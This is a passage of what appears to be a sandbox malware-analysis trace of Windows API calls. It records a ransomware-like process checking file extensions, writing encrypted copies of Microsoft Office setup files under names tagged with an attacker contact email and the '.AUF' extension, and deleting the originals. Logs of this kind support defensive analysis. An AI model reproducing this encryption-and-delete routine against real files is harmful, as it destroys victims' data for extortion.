lpNumberOfBytesWritten=0x321fc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x321fc88*=0x40000, lpOverlapped=0x0) returned 1 [0209.746] CloseHandle (hObject=0x194) returned 1 [0209.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0209.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0209.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0209.813] lstrlenW (lpString=".doc") returned 4 [0209.813] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0209.813] lstrlenW (lpString=".docx") returned 5 [0209.813] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0209.813] lstrlenW (lpString=".pdf") returned 4 [0209.813] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0209.813] lstrlenW (lpString=".xls") returned 4 [0209.813] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0209.813] lstrlenW (lpString=".xlsx") returned 5 [0209.813] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0209.813] lstrlenW (lpString=".ppt") returned 4 [0209.813] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0209.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0209.813] lstrlenW (lpString=".zip") returned 4 [0209.813] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0209.813] lstrlenW (lpString=".rar") returned 4 [0209.813] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0209.813] lstrlenW (lpString=".bz2") returned 4 [0209.813] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0209.813] lstrlenW (lpString=".7z") returned 3 [0209.813] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0209.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0209.813] lstrlenW (lpString=".dbf") returned 4 [0209.813] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0209.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0209.814] lstrlenW (lpString=".1cd") returned 4 [0209.814] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0209.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0209.814] lstrlenW (lpString=".jpg") returned 4 [0209.814] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0209.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0209.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0209.814] lstrlenW (lpString=".doc") returned 4 [0209.814] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0209.814] lstrlenW (lpString=".docx") returned 5 [0209.814] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0209.814] lstrlenW (lpString=".pdf") returned 4 [0209.814] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0209.814] lstrlenW (lpString=".xls") returned 4 [0209.814] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0209.814] lstrlenW (lpString=".xlsx") returned 5 [0209.814] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0209.814] lstrlenW (lpString=".ppt") returned 4 [0209.814] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0209.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0209.814] lstrlenW (lpString=".zip") returned 4 [0209.814] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0209.814] lstrlenW (lpString=".rar") returned 4 [0209.814] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0209.814] lstrlenW (lpString=".bz2") returned 4 [0209.814] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0209.814] lstrlenW (lpString=".7z") returned 3 [0209.814] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0209.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0209.814] lstrlenW (lpString=".dbf") returned 4 [0209.814] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0209.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0209.814] lstrlenW (lpString=".1cd") returned 4 [0209.814] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0209.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0209.814] lstrlenW (lpString=".jpg") returned 4 [0209.814] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0209.814] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0209.814] lstrlenW (lpString="SETUP.XML") returned 9 [0209.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0209.943] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2296) returned 1 [0209.943] CloseHandle (hObject=0x200) returned 1 [0209.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0209.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0209.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0209.944] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.944] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0209.988] GetLastError () returned 0x0 [0209.988] ReadFile (in: hFile=0x200, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0210.118] WriteFile (in: hFile=0x208, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x900, lpOverlapped=0x0) returned 1 [0210.119] ReadFile (in: hFile=0x200, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0210.119] WriteFile (in: hFile=0x208, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0210.119] SetEndOfFile (hFile=0x208) returned 1 [0210.119] CloseHandle (hObject=0x208) returned 1 [0210.120] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.120] SetEndOfFile (hFile=0x200) returned 1 [0210.120] CloseHandle (hObject=0x200) returned 1 [0210.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0210.121] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 1 [0210.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0210.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0210.121] lstrlenW (lpString=".doc") returned 4 [0210.121] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.121] lstrlenW (lpString=".docx") returned 5 [0210.121] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0210.121] lstrlenW (lpString=".pdf") returned 4 [0210.121] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.121] lstrlenW (lpString=".xls") returned 4 [0210.121] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.121] lstrlenW (lpString=".xlsx") returned 5 [0210.121] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0210.121] lstrlenW (lpString=".ppt") returned 4 [0210.121] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0210.121] lstrlenW (lpString=".zip") returned 4 [0210.121] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.121] lstrlenW (lpString=".rar") returned 4 [0210.121] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.121] lstrlenW (lpString=".bz2") returned 4 [0210.121] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.121] lstrlenW (lpString=".7z") returned 3 [0210.121] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0210.121] lstrlenW (lpString=".dbf") returned 4 [0210.121] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0210.121] lstrlenW (lpString=".1cd") returned 4 [0210.121] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0210.121] lstrlenW (lpString=".jpg") returned 4 [0210.121] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0210.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0210.121] lstrlenW (lpString=".doc") returned 4 [0210.121] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.121] lstrlenW (lpString=".docx") returned 5 [0210.121] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0210.122] lstrlenW (lpString=".pdf") returned 4 [0210.122] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.122] lstrlenW (lpString=".xls") returned 4 [0210.122] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.122] lstrlenW (lpString=".xlsx") returned 5 [0210.122] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0210.122] lstrlenW (lpString=".ppt") returned 4 [0210.122] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0210.122] lstrlenW (lpString=".zip") returned 4 [0210.122] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.122] lstrlenW (lpString=".rar") returned 4 [0210.122] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.122] lstrlenW (lpString=".bz2") returned 4 [0210.122] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.122] lstrlenW (lpString=".7z") returned 3 [0210.122] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0210.122] lstrlenW (lpString=".dbf") returned 4 [0210.122] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0210.122] lstrlenW (lpString=".1cd") returned 4 [0210.122] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0210.122] lstrlenW (lpString=".jpg") returned 4 [0210.122] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.122] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0210.122] lstrlenW (lpString="OfficeMUI.XML") returned 13 [0210.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0210.512] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=5557) returned 1 [0210.512] CloseHandle (hObject=0x1e0) returned 1 [0210.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0210.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0210.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0210.512] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.512] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0210.513] GetLastError () returned 0x0 [0210.513] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0210.645] WriteFile (in: hFile=0x208, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0210.653] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0210.653] WriteFile (in: hFile=0x208, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xee, lpOverlapped=0x0) returned 1 [0210.654] SetEndOfFile (hFile=0x208) returned 1 [0210.654] CloseHandle (hObject=0x208) returned 1 [0210.654] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.654] SetEndOfFile (hFile=0x1e0) returned 1 [0210.655] CloseHandle (hObject=0x1e0) returned 1 [0210.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0210.655] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1 [0210.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0210.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0210.655] lstrlenW (lpString=".doc") returned 4 [0210.655] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.655] lstrlenW (lpString=".docx") returned 5 [0210.655] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0210.655] lstrlenW (lpString=".pdf") returned 4 [0210.655] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.655] lstrlenW (lpString=".xls") returned 4 [0210.655] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.656] lstrlenW (lpString=".xlsx") returned 5 [0210.656] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0210.656] lstrlenW (lpString=".ppt") returned 4 [0210.656] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0210.656] lstrlenW (lpString=".zip") returned 4 [0210.656] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.656] lstrlenW (lpString=".rar") returned 4 [0210.656] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.656] lstrlenW (lpString=".bz2") returned 4 [0210.656] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.656] lstrlenW (lpString=".7z") returned 3 [0210.656] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0210.656] lstrlenW (lpString=".dbf") returned 4 [0210.656] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0210.656] lstrlenW (lpString=".1cd") returned 4 [0210.656] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0210.656] lstrlenW (lpString=".jpg") returned 4 [0210.656] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0210.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0210.656] lstrlenW (lpString=".doc") returned 4 [0210.656] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.656] lstrlenW (lpString=".docx") returned 5 [0210.656] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0210.656] lstrlenW (lpString=".pdf") returned 4 [0210.656] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.662] lstrlenW (lpString=".xls") returned 4 [0210.662] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.664] lstrlenW (lpString=".xlsx") returned 5 [0210.664] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0210.664] lstrlenW (lpString=".ppt") returned 4 [0210.664] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0210.664] lstrlenW (lpString=".zip") returned 4 [0210.664] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.664] lstrlenW (lpString=".rar") returned 4 [0210.664] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.664] lstrlenW (lpString=".bz2") returned 4 [0210.664] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.664] lstrlenW (lpString=".7z") returned 3 [0210.664] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0210.664] lstrlenW (lpString=".dbf") returned 4 [0210.664] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0210.664] lstrlenW (lpString=".1cd") returned 4 [0210.664] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0210.664] lstrlenW (lpString=".jpg") returned 4 [0210.664] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.664] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0210.664] lstrlenW (lpString="SETUP.XML") returned 9 [0210.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0210.665] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=9352) returned 1 [0210.665] CloseHandle (hObject=0x1e0) returned 1 [0210.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0210.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0210.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0210.665] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.665] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0210.665] GetLastError () returned 0x0 [0210.665] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x2488, lpOverlapped=0x0) returned 1 [0210.834] WriteFile (in: hFile=0x208, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0210.835] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, 